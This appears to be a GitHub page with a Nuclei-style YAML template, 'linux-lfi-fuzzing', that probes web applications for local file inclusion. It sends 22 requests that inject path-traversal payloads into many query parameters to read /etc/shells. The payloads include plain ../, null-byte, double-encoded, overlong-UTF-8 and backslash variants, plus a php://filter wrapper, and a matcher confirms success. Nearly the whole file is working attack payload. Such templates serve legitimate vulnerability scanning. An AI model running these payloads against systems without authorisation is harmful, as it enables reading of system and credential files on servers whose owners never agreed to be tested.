-
Notifications
You must be signed in to change notification settings - Fork 25
/
0xlfifuzz1.yaml
51 lines (48 loc) · 8.34 KB
/
0xlfifuzz1.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
id: linux-lfi-fuzzing
info:
name: Linux - Local File Inclusion Fuzzing
author: 0x71rex
severity: high
description: Multiple fuzzes for /etc/shells on passed URLs were conducted, leading to multiple instances of local file inclusion vulnerability.
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-200
metadata:
max-request: 22
tags: linux,lfi,fuzz
http:
- method: GET
path:
- "{{BaseURL}}/?q=../../../etc/shells&s=../../../etc/shells&search=../../../etc/shells&id=&action=../../../etc/shells&keyword=../../../etc/shells&query=../../../etc/shells&page=../../../etc/shells&keywords=../../../etc/shells&url=../../../etc/shells&view=../../../etc/shells&cat=../../../etc/shells&name=../../../etc/shells&key=../../../etc/shells&p=../../../etc/shells"
- "{{BaseURL}}/?q=../../../etc/shells%00&s=../../../etc/shells%00&search=../../../etc/shells%00&id=../../../etc/shells%00&action=../../../etc/shells%00&keyword=../../../etc/shells%00&query=../../../etc/shells%00&page=../../../etc/shells%00&keywords=../../../etc/shells%00&url=../../../etc/shells%00&view=../../../etc/shells%00&cat=../../../etc/shells%00&name=../../../etc/shells%00&key=../../../etc/shells%00&p=../../../etc/shells%00"
- "{{BaseURL}}/?q=%252e%252e%252fetc%252fshells&s=%252e%252e%252fetc%252fshells&search=%252e%252e%252fetc%252fshells&id=%252e%252e%252fetc%252fshells&action=%252e%252e%252fetc%252fshells&keyword=%252e%252e%252fetc%252fshells&query=%252e%252e%252fetc%252fshells&page=%252e%252e%252fetc%252fshells&keywords=%252e%252e%252fetc%252fshells&url=%252e%252e%252fetc%252fshells&view=%252e%252e%252fetc%252fshells&cat=%252e%252e%252fetc%252fshells&name=%252e%252e%252fetc%252fshells&key=%252e%252e%252fetc%252fshells&p=%252e%252e%252fetc%252fshells"
- "{{BaseURL}}/?q=%252e%252e%252fetc%252fshells%00&s=%252e%252e%252fetc%252fshells%00&search=%252e%252e%252fetc%252fshells%00&id=%252e%252e%252fetc%252fshells%00&action=%252e%252e%252fetc%252fshells%00&keyword=%252e%252e%252fetc%252fshells%00&query=%252e%252e%252fetc%252fshells%00&page=%252e%252e%252fetc%252fshells%00&keywords=%252e%252e%252fetc%252fshells%00&url=%252e%252e%252fetc%252fshells%00&view=%252e%252e%252fetc%252fshells%00&cat=%252e%252e%252fetc%252fshells%00&name=%252e%252e%252fetc%252fshells%00&key=%252e%252e%252fetc%252fshells%00&p=%252e%252e%252fetc%252fshells%00"
- "{{BaseURL}}/?q=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/shells&s=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/shells&search=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/shells&id=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/shells&action=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/shells&keyword=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/shells&query=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/shells&page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/shells&keywords=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/shells&url=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/shells&view=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/shells&cat=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/shells&name=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/shells&key=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/shells&p=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/shells"
- "{{BaseURL}}/?q=....//....//etc/shells&s=....//....//etc/shells&search=....//....//etc/shells&id=....//....//etc/shells&action=....//....//etc/shells&keyword=....//....//etc/shells&query=....//....//etc/shells&page=....//....//etc/shells&keywords=....//....//etc/shells&url=....//....//etc/shells&view=....//....//etc/shells&cat=....//....//etc/shells&name=....//....//etc/shells&key=....//....//etc/shells&p=....//....//etc/shells"
- "{{BaseURL}}/?q=..///////..////..//////etc/shells&s=..///////..////..//////etc/shells&search=..///////..////..//////etc/shells&id=..///////..////..//////etc/shells&action=..///////..////..//////etc/shells&keyword=..///////..////..//////etc/shells&query=..///////..////..//////etc/shells&page=..///////..////..//////etc/shells&keywords=..///////..////..//////etc/shells&url=..///////..////..//////etc/shells&view=..///////..////..//////etc/shells&cat=..///////..////..//////etc/shells&name=..///////..////..//////etc/shells&key=..///////..////..//////etc/shells&p=..///////..////..//////etc/shells"
- "{{BaseURL}}/?q=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/shells&s=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/shells&search=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/shells&id=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/shells&action=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/shells&keyword=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/shells&query=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/shells&page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/shells&keywords=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/shells&url=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/shells&view=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/shells&cat=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/shells&name=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/shells&key=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/shells&p=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/shells"
- "{{BaseURL}}/?q=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/shells&s=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/shells&search=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/shells&id=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/shells&action=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/shells&keyword=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/shells&query=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/shells&page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/shells&keywords=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/shells&url=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/shells&view=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/shells&cat=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/shells&name=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/shells&key=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/shells&p=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/shells"
- "{{BaseURL}}/?url=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fshells"
- "{{BaseURL}}/?redirect=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fshells"
- "{{BaseURL}}/?page=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fshells"
- "{{BaseURL}}/?q=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/shells"
- "{{BaseURL}}/image?filename=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/shells"
- "{{BaseURL}}/image?name=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/shells"
- "{{BaseURL}}/file?filename=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/shells"
- "{{BaseURL}}/file?name=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/shells"
- "{{BaseURL}}/image?filename=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/shells"
- "{{BaseURL}}/image?name=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/shells"
- "{{BaseURL}}/file?filename=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/shells"
- "{{BaseURL}}/file?name=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/shells"
- "{{BaseURL}}/?q=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/shells"
stop-at-first-match: true
matchers:
- type: word
words:
- "# valid login shells"
- "/bin/sh"
- "/bin/ash"
- "/bin/bash"
condition: and
part: body